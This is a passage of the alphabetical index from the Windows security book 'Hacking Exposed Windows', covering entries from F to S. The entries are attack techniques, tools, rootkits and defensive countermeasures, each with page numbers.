319\n.gif, 263–264\n.ico, 319\n.inc, 295\n.src, 295\nexternal interfaces, 12\nextranets, 54\n▼ \n▼ F\nfail secure operations, 12\nFedon, Giorgio, 321\nFEK (file encryption key), 350–353\nFile And Printer Sharing, 97, 98\nfile encryption key (FEK), 350–353\nfiles\nANI, 177–183\nencrypted, 350–354\nGIF, 263–264\nhidden, 240, 247, 254, 259, 268\nMicrosoft Office, 235, 320–321\nPDF, 321–322\nphysical protection of, 310\nPowerPoint, 320\nprecautions, 320\nprotecting, 399–402\nenumeration (continued)\n" }, { "page_number": 459, "text": "Index \n431\n.RAR, 230\nreading with recovery agent, \n350–353\nSAM, 348–349\nsearching, 198–199\ntemporary file data retrieval, 355–358\ntemporary Internet files, 339\nfiltered tokens, 36\nfilters\nIPSec, 67, 411–412\nISAPI, 68\npassword, 128–129\nPhishing Filter, 331\nfind command, 198\nfindstr command, 198–199\nfingerprinting\nOS detection, 69\nstacks, 69\nTCP/IP, 69\nWinfingerprint tool, 111–112\nFirefox browser, 339\nfirewalls. See also Windows Firewall\nauthentication, 45–46\nport scanning and, 65, 67, 284\nFLINK pointer, 241–243\nfloppy disks, 232\nfolders\nencrypted, 358\nhidden, 230, 259, 267–268\nlisting contents of, 239–240\npermissions, 267–268\ntemporary Internet files, 263\nfootprinting, 54–59\ncategories, 54\nconsiderations, 69–70\nInternet search engines, 58–59\noverview, 54–55\nreferences, 70–71\nremote access and, 54\nvs. enumeration, 74\nwhois tool, 55–57\nFOR loop attacks, 123–125\nforest trusts, 45–46\nforests, 41–46\nfpipe tool, 197\nfront-facing systems, 12\nFrontPage, 59\nfscan tool. See ScanLine tool\nFTP servers, 230\nFU rootkit, 231\nFull Volume Encryption Key, 234\nFUTo rootkit, 243, 245, 249–250\nfuzzing, 169–172\n▼ \n▼ G\nGartner, 274\nGDI exploit, 189\nGDI (Graphics Device Interface), 189\ngenerators, 170–172\nGFlags (global flags), 167–169\ngflags.exe utility, 167–169\n.gif extension, 263–264\nGIF files, 263–264\nGillon, Matan, 325–327\nGINA (Graphical Identification and \nAuthorization), 200\nGLBA (Gramm-Leach Bliley Act), 6\nGlobal Catalog Service, 75\nglobal flags (GFlags), 167–169\nglobal groups, 42\nGlobal scope, 42\nglobal tool, 86\nGMER rootkit, 233, 253\nGoogle, 58–59. See also search engines\nGoogle hacking, 59, 282–283\nGoogle Hacking Database, 59\n.gov domain, 55\nGPOs (Group Policy Objects), 339\nGrace, James, 348\nGramm-Leach Bliley Act (GLBA), 6\nGraphical Identification and Authorization \n(GINA), 200\ngraphical remote control, 194–196\nGraphics Device Interface (GDI), 189\ngrep tool, 199\nGreyHats Security, 325, 326\ngroup accounts, 119\ngroup memberships, 118\nGroup Policy, 28, 412\nGroup Policy Objects (GPOs), 339\ngroups. See also specific groups\nadministrative. See administrators group\nbuilt-in, 25, 26\nenumeration, 107–109\n" }, { "page_number": 460, "text": "432 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nglobal, 42\nguest, 22, 23\nlocal, 42\noverview, 25–28\npredefined, 25, 27\nrestricted, 28, 190\nspecial identities, 28, 29\nuniversal, 43\nwell-known, 28, 29\nGS (stack cookies), 181–183, 388–391\nguest accounts, 119–120\nGuest group, 22, 23\nGuest Only option, 38–39\nGuninski, Georgi, 322\n▼ \n▼ H\nHacker Defender rootkit, 230, 240, 247, 253, \n259–260\nhackers, 16, 30\nhacking\nGoogle hacking, 59, 282–283\nSQL Server, 274–277, 281–306\nWindows services, 162–164\nwinhackingexposed.com site, \n421–422\nhard drives\nencryption. See BitLocker Drive \nEncryption\nopening with dskprobe, 355–358\npassword protection, 351\nphysical attacks, 354–363\nraw disk access, 251\ntemporary file data retrieval, \n355–358\nhardening\nWindows 2000 and later systems, \n407–413\nWindows services, 24–25, 377–387\nWindows Vista systems, 24–25\nhashes\nbrute-force attacks, 211\nchallenge-response, 140–142\ncracking with GUI programs, \n216–218\ncredentials and, 219–220\ninjecting into SAM file, 348–349\nLM, 37–39, 140–142, 210–219\nNT, 37–38, 214–218\nNTLM, 38, 39, 141–147, 213\nOWF, 213\npass-the-hash attacks, 220\npassing, 219–220\npassword cracking and, 210\nSHA-1, 251\nhashes.txt file, 150\nhashing algorithm, 39–41\nHealth Insurance Portability and \nAccountability Act (HIPAA), 6\nheap, 236\nheap overflows, 167–169\nheaptext.exe, 168–169\nhex editors, 178–179\nHFNetChk tools, 307, 409\nhidden items\nadministrator accounts, 22\nconnections, 230\ndevices, 258\ndrivers, 243\nfiles, 240, 247, 254, 259, 268\nfolders, 230, 259, 267–268\nhiding items with rootkits, 227\nnetwork connections, 230\nports, 137\nprocesses, 230, 259\nhijacking services, 265–266\nHIPAA (Health Insurance Portability and \nAccountability Act), 6\nhisecws template, 409\nHITB (Hack In The Box) rootkit, 234\nHoglund, Greg, 228\nhomoglyph attacks, 264–266\nhost-based defenses, 76\nhotfixes, 307, 408–409. See also patches; service \npacks; updates\nhotspots, wireless, 289–290, 292\nHTML code\nfile paths revealed in, 59\nobtaining LM/NTLM credentials \nvia, 144\nweb pages, 59\nHTTP fuzzer, 170–172\nHTTP HEAD method, 68\nHulton, David, 359\ngroups (continued)\n" }, { "page_number": 461, "text": "Index \n433\nHunt, Galen, 255\nhyperlinks\nin e-mail, 144, 332\nto fraudulent servers, 144\nhypervisor-based rootkits, 262\n▼ \n▼ I\nIAT (Import Address Table), 237, 239, 240\nIceSword tool, 253\nICMP echo requests, 60–61\nICMP (Internet Control Message Protocol), \n60–61\nICMP packets, 67\n“ICMP port unreachable” message, 62\n.ico extension, 319\nIE. See Internet Explorer\nIE Administration Kit (IEAK), 339\nIEAK (IE Administration Kit), 339\nIFRAME tags, 327\nIIS HTTP headers, 68\nIIS (Internet Information Server)\nbuilt-in accounts, 23\ncountermeasures, 160\nSQL Server and, 281–282, 288\nSSL PCT exploit, 158–160\nweb applications and, 413–414\nIIS SSL PCT exploit, 158–160\nIIS_WPG group, 23\nIKS (Invisible Keylogger Stealth), 199\nILs. See Integrity Levels\nimage file execution options, 167–169\nimpact, 4\nimpersonation, 33\nImport Address Table (IAT), 237, 239, 240\n.inc extension, 295\nincident response (IR), 9\n“Incorrect syntax near” error, 297\nincremental mode, 212–213\nIndexing service, 23\ninformation. See also data\nas asset, 3–4\npersonally identifiable, 3\nproprietary, 3\nsensitive, 3–4\nSQL Server, 282–286\ninline function patching, 238, 240\ninput validation, 312, 415\nintegrity checking, 313\nintegrity control, 372–374\nIntegrity Levels (ILs), 33–36, 372–374\ninteractive control, 191–201\ninteractive logon session, 190\nINTERACTIVE users, 28, 29\nInternet. See also client applications; websites\nchanging threat environment and, \n229–235\nCOM Internet Services, 156–158\ncookies. See cookies\ndomain names, 55, 57\nfootprinting. See footprinting\nphishing attacks, 233, 235, 328–332\nsearch engines. See search engines\nsecurity considerations/tips, 334–335, \n418–419\nWindows Services and, 75\nInternet Control Message Protocol. See ICMP\nInternet Explorer (IE). See also web browsers\nBrowser Helper Object (BHO), 334\ncountermeasures, 327–328\ncross-domain access attacks, 325–326\nexploits, 231\nhyperlinks to fraudulent servers, 144\nIE Administration Kit (IEAK), 339\nLocal Machine Zone attacks, 326–327\nPhishing Filter, 331\nPMIE and, 339\nProtected Mode, 319\nrecovering/dumping passwords in, 206\nsecurity zones, 335–339\nshowModalDialog method, 327\nTemporary Internet Files folder, 263\nvulnerabilities, 325–327\nInternet-facing domains, 44\nInternet Information Server. See IIS\nInternet Registrar data, 55\nInternet registrars, 55, 57\nInternet zone, 336–337\nintranets, 54\n“Invalid column name” error, 297\nInvisible Keylogger Stealth (IKS), 199\nIP addresses\nARIN database, 56–57\nscanning, 259\nvs. NetBIOS names, 74–82\nwhois tool and, 55–57\n" }, { "page_number": 462, "text": "434 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nIP Network Browser, 104–105\nIPC$ share, 98, 135\niPod, attack based on, 359\nIPSec filters, 67, 411–412\nIPSec (Internet Protocol Security), 295\nIPSec packet authentication, 201\nIR (incident response), 9\nISAPI filters, 68\nIsass.exe process, 18\nISO 17799 standard, 5–6\nISO 27001 standard, 6\nISO CD-ROM image, 360\n.ISO images, 230\nISO standards, 5–7\nIUSR account, 23, 33\nIvgi, Rafel, 327\nIWAM account, 23\n▼ \n▼ J\nJavaScript, 325\nJohansson, Jesper, 36\nJohn the Ripper program, 212–213\njtr tool, 214\n▼ \n▼ K\nkaht2 program, 157\nKDC (Key Distribution Center), 138\nKeir, Robin, 62\nKerbCrack, 138–139\nKerberos authentication\nbrute-force attacks, 138–139\neavesdropping, 137–139\nLM response sniffing and, 147–148\nsniffers, 138–139\nWindows versions, 39, 148\nKerberos Key Distribution Center (krbtgt) \naccount, 23\nKerberos traffic, 67\nKerberos v5 protocol, 38, 116\nKerbSniff, 138–139\nkerbtray utility, 148\nkernel\nattacking, 16, 17–18\ndata structures, 236\ndriver signing, 18\nrootkits and, 227\nkernel API, 227\nkernel mode, 236, 237\nkernel-mode code signing (KMCS), 250\nkernel mode interface, 16, 17–18\nkernel mode objects, 240\nkernel-mode rootkits, 228, 231–232, 234, 247\nkernel-mode stealth, 252\nkernel modules, 227\nKernel Patch Protection (KPP), 248, 252\nkernel-resident device drivers, 17\nKey Distribution Center (KDC), 138\nkeyboard loggers, 290–291\nkeystroke loggers, 290–291\nkeystroke logging, 199–200, 290–291\nkill bits, 324\nKlein, Christian, 359\nKLister tool, 252\nKMCS (kernel-mode code signing), 250\nKPP (Kernel Patch Protection), 248, 252\nkrbtgt (Kerberos Key Distribution Center) \naccount, 23\nKumar, Nitin, 360\nKumar, Vipin, 360\nKuperus, Jelmer, 327\n▼ \n▼ L\nL0phtcrack (LC) tool, 140–143, 216\nlab accounts, 118, 122\nLagerweij, Bart, 346\nLAN Manager. See LM (LAN Manager)\nlaptop computers, 275\nLarholm, Thor, 326\nLC (L0phtcrack) tool, 140–143\nLC4/LC5 tools, 216–217\nLCP tool, 214, 216–217\nLDAP clients, 107–109\nLDAP (Lightweight Directory Access Protocol) \nservice, 75\nLDAP query tools, 107–109\nldp.exe tool, 107–109\nleast privilege\nACLs and, 11\nmalware and, 235\nSQL Server and, 311–312, 415\n" }, { "page_number": 463, "text": "Index \n435\nuser accounts, 30, 375\nWindows services, 380–384\nLeast User Access (LUA). See User Account \nControl\nLightweight Directory Access Protocol. \nSee LDAP\nlinked tokens, 36\nLinux platform\nattack based on iPod running, 359\nkernel modules and, 227\noffline attacks and, 347\nLIST_ENTRY structure, 241–243\nLM algorithm, 140–147\nLM (LAN Manager)\nAuthentication Level setting, 147\nchallenge-response routine, 140–147\nhashes, 37–39, 140–142, 210–219\nLM authentication, 140–148\nNTLM authentication, 38, 39, 116\nNTLMv2 authentication, 38, 39, 116, \n146–147\npasswords, 140–147, 150\nresponse sniffing, 140–148\nLM MIB, 413\nlmbf tool, 212–213\nLMCompatibilityLevel Registry setting, 147\nLMHOSTS file, 75\nLMZ (Local Machine Zone) attacks, \n326–327, 335\nLMZ lockdown feature, 326\nlocal accounts\nadministrator, 118–119\nsecurity model for, 38–39\nSQL Server, 311–312\nvs. domain accounts, 118\nlocal groups, 42\nLocal Machine Lockdown, 326\nLocal Machine Zone (LMZ) attacks, \n326–327, 335\nLocal scope, 42\nLocal Security Authority. See LSA\nLocal Service group, 24\nLocalService feature, 380\nLocalSystem account, 23, 35\nlockdown scripts, 312–313\nlockout thresholds, 119, 120, \n130–131\nlockouts, 119–120, 130–133\nlogging. See also logs\nauthentication, 279–280, \n310–311, 414\nboot, 234, 256–258\nC2, 280\nkeystrokes, 199–200, 290–291\nSQL Server, 279–280, 310–311, 414\nlogical attacks, 18\nlogins\ncached, 204\nfailed, 130, 279–280, 314\nnative, 278\nSQL Server, 278–279\nlogon caching, 204\nlogon cracking, 123. See also password \nguessing\nlogon events, 136\nlogon failure events, 131–132\nlogon rights, 30–31\nlogons\nanonymous, 28, 29, 85, 109–110\ncustom legal notice for, 136–137\ndenying access, 31\ndomain logon cache, 353–354\neavesdropping on, 137–138\nfailed, 20–21, 131–132\ninteractive, 190\nSMB, 143–144\nTrojan, 200\nlogs. See also logging\naudit, 411\nevent, 46–47, 132, 260–261\nintegrity of, 411\nntbtlog.txt file, 234, 257–258\nSystem Log, 46–47\nLoRIE (Low Rights Internet Explorer), \n35–36\nLOVESAN worms, 156\nLow Rights Internet Explorer (LoRIE), \n35–36\nLSA dumping, 202–204\nLSA (Local Security Authority), 18, 36, 200\nLSA Secrets, 24, 121, 202–203, 409\nlsadump2 tool, 121, 203\nLSASS (Local Security Authority Subsystem), \n18, 32, 46, 203\nLUA (Least User Access). See User Account \nControl (UAC)\n" }, { "page_number": 464, "text": "436 \nHacking Exposed Windows: Windows Security Secrets & Solutions \n▼ \n▼ M\nmachine accounts. See computer accounts\nMachine.config file, 49\nMACLs (Mandatory Access Control Lists), \n372–373\nMACS (Microsoft Audit Collection \nSystem), 47\nmalware, 229, 230, 232, 235\nman-in-the-middle (MITM) attacks, 153–155\nManagement Information Base (MIB), \n104–105\nManagement Studio, 308\nmandatory access control, 35\nMandatory Access Control Lists (MACLs), \n372–373\nMandatory Integrity Control (MIC), \n35–36, 339\nMAPI (Messaging Application Program \nInterface), 84\nMaster Boot Record (MBR), 232\nMBR (Master Boot Record), 232\nMBSA (Microsoft Baseline Security \nAnalyzer), 173\nMcLain, Fred, 322\nMDCrack program, 214, 215\nMDCrack utility, 215–216\nMedia Access Control (MAC), 145\nmedia attacks, 359–363\nmemory\ndescribed, 236\ndumping, 254–255\nphysical, 245\nprocess, 254–255\nvirtual, 232, 244–247\nMessaging Application Program Interface \n(MAPI), 84\nMessenger service, 78\nmetadata, 281\nMetasploit Framework, 159, 183\nMeterpreter, 183\nMIB (Management Information Base), \n104–105, 413\nMIC (Mandatory Integrity Control), \n35–36, 339\nMicalizzi, A., 323\nMicrosoft\ncontacting regarding security issues, 281\nDREAD system, 5\nproduct support, 229–230\nMicrosoft Audit Collection System (MACS), 47\nMicrosoft Baseline Security Analyzer \n(MBSA), 173\nMicrosoft FrontPage, 59\nMicrosoft Malicious Software Removal \nTool, 247\nMicrosoft Office documents, 235, 320–321\nMicrosoft Office Isolated Conversion \nEnvironment (MOICE), 320\nMicrosoft Operations Manager (MOM), \n47, 411\nMicrosoft Product Support Services (PSS), \n229–230\nMicrosoft RPC (MSRPC). See also RPC\nbuffer overflows, 156–158\nEndpoint Mapper, 75, 82–84, 156\nLAN Manager Authentication Level \nsetting, 147\nMicrosoft Security Response Center, 5\nMicrosoft Software Inventory Analyzer, 307\nMicrosoft Systems Management Server, 307\nMicrosoft Update Package (.MSU), 172–173\nMiddleton, Dennis, 254\n.mil domain, 55\nMiller, Matt, 391, 396, 399\nmining system data, 198–201\nMITM (man-in-the-middle) attacks, 153–155\nMMC (Microsoft Management Console), \n47, 48\nmodularity, 12–13\nMOICE (Microsoft Office Isolated Conversion \nEnvironment), 320\nMOKB archives, 189\nMOM (Microsoft Operations Manager), 47, 411\nmsconfig.exe utility, 234, 257, 333\nmscorcfg.msc tool, 49\nmsfpescan tool, 393\nMSRPC. See Microsoft RPC\n.MSU (Microsoft Update Package), 172–173\nMullen, Tim, 92, 94, 135–136\n▼ \n▼ N\n-n switch, 201\nNagy, Ben, 395\nname spoofing, 142, 152–153\n" }, { "page_number": 465, "text": "Index \n437\nnamespace detection, 260\nNanika.ppt file, 320\nNAT (NetBIOS Auditing Tool), 125–126\nnative encryption, 281\nnative logins, 278\nNBNS. See NetBIOS Name Service\nnbtscan command, 78–81\nnbtstat command, 78–80\nnbtstat utility, 81\nnet command, 118\n.NET Framework, 48–49\n.NET Framework class library, 49\nnet session command, 151\nnet share command, 135\nnet use command, 21, 121–122, 125, 151\nnet view command, 77\nNetBIOS\nBIOS passwords, 234\nenumeration, 74–82\nname resolution, 152\nname spoofing, 142, 152–153\nnames, 74–82\nNetBIOS Auditing Tool (NAT), 125–126\nNetBIOS Name Service (NBNS), 75, 76,\n 77–82\nNetBIOS Name Tables, 78–82\nNetBIOS Name types, 80\nNetBIOS session service (SMB over \nNetBIOS), 75\nNetBIOS suffixes, 78–80\nNetBIOS wire, 77\nNetcat console, 192–193\nnetcat (nc) utility, 68\nnete tool, 90\nnetlibs (network libraries), 277–278\nnetwork address block assignments, 55\nNetwork group, 29\nnetwork libraries (netlibs), 277–278\nNetwork Password Recover tool, 206, 207\nNetwork Service group, 24\nnetworks\naccess control, 31, 36–39, 386\nauthentication, 36–39\nconnections. See connections\ndenying access via, 31\nerrors, 155\nrestricted access to, 386\nsecurity best practices, 145\nServer Network Utility, 307\nsharing, 38–39\nSQL Servers on, 306–307, 414\nuntrusted, 193\nvirtual private networks, 291\nwireless, 361–362, 364\nNetworkService feature, 380\nnewsgroup searches, 282, 283\nnltest tool, 82\nnmap (network mapper) utility, 62–64, 69\nNoDefaultExempt Registry key, 67, 411–412\nnontransitive trusts, 43\nNordahl-Hagen, Petter, 348–349\nnotepad.exe, 264\nnslookup tool, 101–103\nNT. See Windows NT systems\nNT AUTHORITY domain, 28\nNT-based rootkits, 228\nNT hashes, 37–38, 214–218\nNT LAN Manager. See NTLM\nntbf command, 214, 216\nntbtlog.txt file, 234, 257–258\nNTFSDOS utility, 346\nNTLM 2 protocol, 145–146\nNTLM algorithm, 38, 39\nNTLM hash, 38, 39, 141–147, 213\nNTLM (NT LAN Manager)\nauthentication, 38, 39, 116\npasswords, 143–145, 150\nprotocols, 116, 145–146\nntlm2 protocol, 146\nNTLMv2 authentication, 38, 39, 116, \n146–147\nNTQuerySystemInformation function, 236\nNTRootkit, 228\nnull sessions\ndescribed, 84\ndumping shares over, 87–88\nenumeration, 85–96\nlockout thresholds, 119\nSMB enumeration, 85–101\nNumara Track-IT tool, 307\n▼ \n▼ O\nobject identifiers (OIDs), 104–105\nObject Manager namespace detection, 260\n" }, { "page_number": 466, "text": "438 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nobjects\naccess control, 19\nActiveX, 290–292\nauditing, 411\nBrowser Helper Objects, 334\nGroup Policy Objects, 339\nkernel mode, 240\nsecurable, 19\nOchoa, Hernan, 220\nOCSInventory, 307\nOCTAVE (Operationally Critical Threat, Asset, \nand Vulnerability Evaluation), 3\nODBC errors, 297\nO’Dwyer, Frank, 139\nOE (Outlook/Outlook Express), 144\nOffice documents. See Microsoft Office \ndocuments\noffline attacks, 346–354\nOIDs (object identifiers), 104–105\nOLE Database (OLE DB), 278, 297\nOMCD (Open Methodology for Compromise \nDetection), 253\none-way function (OWF), 39, 213\nonline attacks, 346, 354–363\nOpen Methodology for Compromise Detection \n(OMCD), 253\nOPENROWSET functionality, 302–303\noperating systems. See also systems; specific\noperating systems\nbluescreens, 230, 232\ndetection via TCP/IP stack \nfingerprinting, 69\nguest, 262\nhost, 262\nhotfixes, 307, 408–409\nlogical attacks against, 18\npreinstallation considerations, \n406–407\nremote identification, 69\nroles of, 406\nservice packs, 307, 408–409\noperational security, 2–10\nOperationally Critical Threat, Asset, and \nVulnerability Evaluation (OCTAVE), 3\norganizational information, 55\norganizational units (OUs), 100\nOther Organization group, 29\nOther Organization SID, 45\nOUs (organizational units), 100\nOutlook/Outlook Express (OE), 144\nOutlook Web Access (OWA), 84\nOWA (Outlook Web Access), 84\nOWF hash, 213\nOWF (one-way function), 39\n▼ \n▼ P\npacket sniffing, 200–201, 292–296\npage heaps, 168–169\nPaget, Chris, 386\nparameterized queries, 304–306\nparanoia, 13\nParos Proxy scanner, 276, 298\nPartizan tool, 259\npass-the-hash attacks, 220\npassfilt (password filter), 128–129\npassfilt.dll file, 128–129\npassive stack fingerprinting, 69\npassphrases, 130\nPassprop tool, 133, 136\nPassView tool, 205, 206, 207\npassword cracking, 210–220\nwith Cain & Abel, 216–218\ncommand-line tools for, 212–213\ncountermeasures, 218–219\nwith GUI programs, 216–218\nwith John the Ripper, 212–213\nwith LC4/LC5, 216\nwith LCP, 216–217\nLM hashes, 210–219\nwith MDCrack, 215–216\nNT hashes, 214–218\nNTLM hashes, 145, 213, 219\noverview, 210\nWindows services, 140–147\npassword extraction, 202–210\npassword filter (passfilt), 128–129\npassword grinding, 127, 135–137\npassword guessing\naccount lockout and, 119–120, \n130–133\nAdministrator account, 121–137\ncountermeasures, 128–135\ndictionary attacks, 123–135\nwith enumeration, 89–90, 118–119\n" }, { "page_number": 467, "text": "Index \n439\nGuest accounts and, 119–120\nFOR loops, 122–125\nmanual, 121–122\nNetBIOS Auditing Tool (NAT), 125–126\noverview, 117\nSMBGrind tool, 126–127\nTerminal Server, 135–137\npassword policy enumeration switch, 89\npasswords. See also authentication; community \nstrings\naccount lockout and, 119–120, 130–133\nActive Directory, 208–210\nadministrator. See administrator \npasswords\nBIOS, 234\ncached, 24, 204\ncase sensitivity of, 122\nchanging, 119, 121\nin Comment field, 118\ncommon username/password \ncombinations, 122\ncomplexity requirements for, \n128–130, 139\ncomputer accounts, 28–30\ndefault, 119\ndomain, 204\ndumping from Registry, 208–210\nenforcing strong passwords, \n128–130\nextraction of, 202–210\ngrinding, 127, 135–137\nguessing. See password guessing\nguidelines, 11, 128–129, 139, \n218–219\nhard drive access, 351\nhashes. See hashes\nLM, 140–147, 150\nLSA dumping, 202–204\nin LSA Secrets, 24\nnonprinting ASCII characters in, 129\nNTLM, 143–145, 150\nplaintext, 118\nrecovering/dumping in Internet \nExplorer, 206\nremote, 219\nreusing, 12\nSAM and, 37, 208–210, 348–349\nservice accounts, 24\nSQL Server, 278–279, 288–296, \n308–309\nstored, 24, 208\nSYSKEY, 352\nsysusers table, 279\nXOR schemes, 293–294\npatches. See also hotfixes; service packs; \nupdates\nBaseline Security Analyzer, 409\nimportance of keeping up on, 11\nKernel Patch Protection, 248, 252\nmanual inventory of, 409\nSQL Server, 307–308\nPatchGuard, 18, 248\nPayment Card Industry Data Security \nStandard (PCI DSS), 4, 6, 70\nPCI DSS (Payment Card Industry Data \nSecurity Standard), 4, 6, 70\nPCR (Platform Configuration Register), 251\nPCT (Private Communications Transport), \n158–160\nPDF files, 321–322\nPDML (Portable Document Markup \nLanguage) format, 170–172\nPeach Fuzzer Framework (PEAC-1), 169\nPeach fuzzing, 169, 170–172\npeachshark.py tool, 170–172\nPermeh, Ryan, 359–360\npermissions\nActive Directory, 109–110\nhidden folders, 267–268\nrestrictive, 267–268\nPGP (Pretty Good Privacy), 201\nphishing attacks, 233, 235, 328–332\nphysical attacks, 345–366\ncountermeasures, 351–354, 358, 363\ndevice/media attacks, 359–363\ndomain controllers, 412\nfiles, 310\ngeneral information, 346, 363–364\nhard drives, 354–363\nkernel-resident device drivers, 17\noffline attacks, 346–354\nonline attacks, 346, 354–363\nreferences, 364–366\nscreensaver replacement, 347\nservers, 310\nwireless networks, 361–362, 364\n" }, { "page_number": 468, "text": "440 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nphysical memory, 245\nping sweeps, 60–61, 67\nPipeList tool, 198\nplaintext passwords, 118\nPMIE (Protected Mode IE), 339\nPOC (point of contact) information, 55\npoint of contact (POC) information, 55\npolicies, security, 5–8\npool, 236\npop-up ads, 332–334\nport redirection, 196–198, 221\nport scanning, 61–67\ncountermeasures, 67\ndescribed, 61\nsource ports, 61\nSQL Server, 283–284\nTCP port scans, 61–67\nUDP port scans, 62–67\nWindows Firewall and, 65, 67, 284\nport scanning tools, 62–66\nPortable Document Markup Language \n(PDML) format, 170–172\nports\nhiding, 137\nscanning. See port scanning\nsource, 61\nSQL Server, 283–284, 307\nTCP. See TCP ports\nUDP. See UDP ports\nPowerPoint files, 320\npredefined groups, 25, 27\nPretty Good Privacy (PGP), 201\nPrivate profile, 76\nprivilege escalation, 188–191, 375–377\nprivileged backups, 119\nprivileges. See also authorization\napplications, 35–36, 303–304\nbuilt-in accounts, 22–23\nelevation, 189, 249\nleast. See least privilege\nlow-privilege browsing, 339–340\nservice accounts, 24–25, 380–384\nSQL users, 303–304, 415\nUser Account Control and, \n375–377\nuser accounts, 11, 22, 415\nuser rights and, 30–31\nWindows services, 24–25, 380–384\nprobability, 4\nProcess Explorer utility, 380–381\nprocesses\nhidden, 230, 259\nlisting, 236, 252\nmemory dump of, 255\nroot, 232\nRPC, 156–158\nsubjects as, 19\nUAC, 375\nuser mode, 240\nprocessor access modes, 236\nprocessor cache, 244–247\nProduct Support Services (PSS), 229–230\npromiscuous clients, 289\nProtected Mode IE (PMIE), 339\nProtected Storage PassView tool, 205, \n206, 207\nProtected Storage service, 204–205\nProtocol Encryption, 295\nPsExec, 192, 193–194\nPSGetSid tool, 378–379\nPSS (Product Support Services), 229–230\npublic/private keys, 47–48\nPublic profile, 76\npwdump2 tool, 209\n▼ \n▼ Q\nQA personal, 315\nqueries\nLDAP, 107–109\nparameterized, 304–306\nSQL, 286–287\n▼ \n▼ R\nrainbow tables, 211, 216\n.RAR files, 230\nRAS (Remote Access Service), 111\nRAS servers, 413\nraw disk access, 251\nRBAC (role-based-access control), 11\nRbot, 231\nRDP (Remote Desktop Protocol), \n194–195\n" }, { "page_number": 469, "text": "Index \n441\nrecovery agent, 350–353\nrecovery keys, 352\n“Red Button” vulnerability, 85\nredirection\nARP, 142\nport, 196–198, 221\nSMB logon, 143–144\nreferences\nclient applications, 340–343\nenumeration, 113–114\nfootprinting, 70–71\nhacking Windows services, 162–164\nphysical attacks, 364–366\nscanning, 70–71\nSQL Server, 316\nstealth software, 269–271\nsystem control, 221–224\nvulnerabilities, 184\nWindows security features/tools, \n401–404\nregedit.exe, 267\nRegistry\nBootExecute entry, 258–259\ncross-view detection, 254\ndumping passwords from, 208–210\nimage file execution options, \n167–169\nLSA Secrets, 24\nNoDefault Exempt Registry key, \n411–412\npassword storage issues and, 24\nregular expressions, 415\nrelational databases, 274\nrelative identifiers. See RIDs\nremote access\ncountermeasures, 197–198\nfootprinting and, 54\ngraphical, 194–196\nRemote Access Service. See RAS\nRemote Desktop Protocol (RDP), 194–195\nremote interactive control, 191–201\nreplication, 41\nRéseaux IP Européens (RIPE), 56\nResource Reservation Setup Protocol (RSVP) \ntraffic, 67\nresources\nisolating, 377–379\nprotecting, 399–402\nsecurity issues, 14\nWindows Services, 377–379\nRestrictAnonymous setting, 91–99\nrestricted groups, 28, 190\nRestricted Sites zone, 338–339\nrestricted tokens, 33–34\nRFC 2196, 6–7\nRFC 2504, 6–7\nRIDs (relative identifiers), 20, 91–92. \nSee also SIDs\nRIPE (Réseaux IP Européens), 56\nrisk, 4–5\nrisk assessment, 4\nrisk management, 3–5, 13\nrisk models, 5\nRKUnhooker tool, 253\nrmtshare tool, 86\nROBOCOPY tool, 408\nroles, 11, 279\nroot account, 122\nroot process, 232\nRootkit Revealer, 233, 253, 254\nRootkit Unhooker tool, 234\nrootkit.com, 228\nrootkits. See also bootkits\nantirootkit.com, 253\nBlackLight, 233\nBlue Pill, 233\nBootExecute Registry entry, 258–259\nBootroot, 232, 250, 371\nchanging threat environment, 229–235\ncross-view–based detection, 254\ndefined, 226\nDelprot, 231–232\ndetection tools/techniques, 252–261\nDKOM, 240–244\ndriver-based, 234, 252, 256–258\ndumping process memory, 254–255\nFU, 231\nFUTo, 243, 245, 249–250\nfuture of, 262\nGMER, 233, 253\nHacker Defender, 230, 240, 247, 253, \n259–260\nhidden devices in Device Manager, 258\nhiding items with, 227, 247\nHITB (Hack In The Box), 234\nhypervisor-based, 262\n" }, { "page_number": 470, "text": "442 \nHacking Exposed Windows: Windows Security Secrets & Solutions \nkernel-mode, 228, 231–232, 234, 247\nneed for, 262–268\nNT-based, 228\nObject Manager namespace \ndetection, 260\noverview, 226–227\nRootkit Unhooker tool, 234\nRustock, 233, 247, 256–258\nShadow Walker, 232, 244–247\nSony BMG First4Internet Rootkit, 247\ntechniques, 235–247\nUNIX, 226–227\nUnreal, 234\nuser-mode, 230, 247, 254\nvs. antivirus software, 247\nvs. Windows Vista, 248–252\nWindows-based, 227–229, 236\nWindows internals, 235–240\nRouting and Remote Access Service \n(RRAS), 111\nRPC Endpoint Mapper, 75, 82–84, 156\nRPC-EPMAP, 84\nRPC over HTTP, 84\nRPC portmappers, 82–84\nRPC process, 156–158\nRPC (Remote Procedure Call), 82–84. See also\nMicrosoft RPC\nrpcdump tool, 83\nRPCTools, 94\nRRAS (Routing and Remote Access \nService), 111\nRSVP (Resource Reservation Setup Protocol) \ntraffic, 67\nRudnyi, Evgenii, 21, 91\nRussinovich, Mark, 233, 253\nRustock rootkit, 233, 247, 256–258\nRutkowska, Joanna, 36, 233, 251, 252\n▼ \n▼ S\nS/MIME keys, 48\nsa account. See system administrator (sa) \naccount\nSabin, Todd, 83, 94, 208, 353\nSACL (System Access Control List), 46, \n373–374\nSafe Mode, 256\nSafeSEH, 392–397\nSAM database, 94\nSAM files, 348–349\nSAM (Security Accounts Manager)\nActive Directory and, 39–41\nattacks against, 348–349\ncloned administrator accounts, 266\npasswords, 37, 208–210, 348–349\nSam Spade tool, 55–56\nSamba smbclient, 219\nSarbanes-Oxley Act of 2002, 6\nScanLine tool, 64\nscanners\napplication, 298\nCyberCop Scanner, 126, 127\nParos Proxy, 276, 298\nWeb Vulnerability Scanner, 298\nscanning, 59–71\napplications, 310\nbanner grabbing, 67–69\nconsiderations, 69–70\nIP addresses, 259\nNetBIOS tables, 81\noverview, 60\nping sweeps, 60–61, 67\nports. See port scanning\nreferences, 70–71\nreviewing scan results, 74–76\nSYN scans, 62\nUDP scans, 62\nvs. enumeration, 74\nsc.exe utility, 379, 380, 382–384\nSchneier, Bruce, 10\nSchultze, Eric, 130\nSCM (Service Control Manager), 23, 260–261, \n380–382\nScoopLM tool, 143\nscopes, account, 42\nscreensaver, 347\nsearch engines\nfootprinting and, 58–59\nGoogle, 58–59, 282–283\npreventing from finding websites, 59\nsearches\nfiles, 198–199\nnewsgroup, 282, 